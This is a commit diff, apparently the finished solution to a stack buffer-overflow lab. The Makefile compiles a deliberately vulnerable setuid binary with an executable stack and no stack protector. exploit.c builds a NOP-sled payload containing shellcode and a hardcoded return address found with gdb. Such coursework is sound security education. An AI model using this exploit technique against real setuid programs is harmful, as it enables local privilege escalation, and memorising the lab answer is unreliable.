Finished

Author: hvtuananh

Makefile

@@ -2,4 +2,4 @@ stack:
 	sudo gcc -z execstack -g -fno-stack-protector -o stack stack.c
 	sudo chmod 4775 stack
 exploit:
-	gcc -z execstack -g -fno-stack-protector -o exploit exploit.c
+	gcc -o exploit exploit.c

exploit.c

@@ -21,12 +21,21 @@ char shellcode[]=
 void main(int argc, char **argv)
 {
     char buffer[517];
+    long addr, *ptr;
+    int i;
     FILE *badfile;
 
     /* Initialize buffer with 0x90 (NOP instruction) */
     memset(&buffer, 0x90, 517);
 
-    /* You need to fill the buffer with appropriate contents here */ 
+    /* You need to fill the buffer with appropriate contents here */
+    //Found this using gdb on stack.c
+    addr = 0xbffff57c;
+    ptr = (long *) (buffer);
+    //The return address is 24 bytes from the beginning of buffer
+    *(ptr+6) = addr;
+    //Put content of shellcode into the end of buffer
+    strcpy(buffer + 517 - strlen(shellcode), shellcode);
 
     /* Save the contents to the file "badfile" */
     badfile = fopen("./badfile", "w");